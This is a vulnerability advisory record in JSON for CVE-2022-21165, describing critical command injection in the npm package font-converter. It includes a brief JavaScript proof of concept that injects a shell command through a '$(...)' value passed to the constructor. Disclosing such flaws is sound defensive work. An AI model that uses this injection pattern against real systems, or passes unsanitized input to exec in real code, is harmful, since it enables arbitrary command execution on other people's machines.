{"id":"CVE-2022-21165","aliases":[],"url":"https://o3.security/vulnerability/CVE-2022-21165","summary":"Font-Converter Vulnerable to Arbitrary Command Injection","details":"### Overview\nfont-converter is a FontForge wrapper that allows conversion between different font formats (TTF, WOFF, OTF)\n\nAll versions of this package are vulnerable to Arbitrary Command Injection due to missing sanitization of input that potentially flows into the `child_process.exec()` function.\n\n### PoC\n```js\nvar PUT = require('font-converter');\nvar x = \"$(touch success);# \";\ntry {\n    new PUT(x, x, x, x);\n} catch (e) {\n    console.log(e);\n}\n```","published":"2022-08-29T20:06:54Z","modified":"2024-04-22T23:44:02.873117Z","cvss":{"score":9.8,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":1,"affectedPackages":[{"ecosystem":"npm","name":"font-converter","fixedVersion":null}],"fix":null,"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2022-21165"},{"type":"PACKAGE","url":"https://github.com/zgec/node-js-font-converter"},{"type":"WEB","url":"https://github.com/zgec/node-js-font-converter/blob/master/index.js#L12"},{"type":"WEB","url":"https://security.snyk.io/vuln/SNYK-JS-FONTCONVERTER-2976194"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2024-04-22T23:44:02.873117Z"}}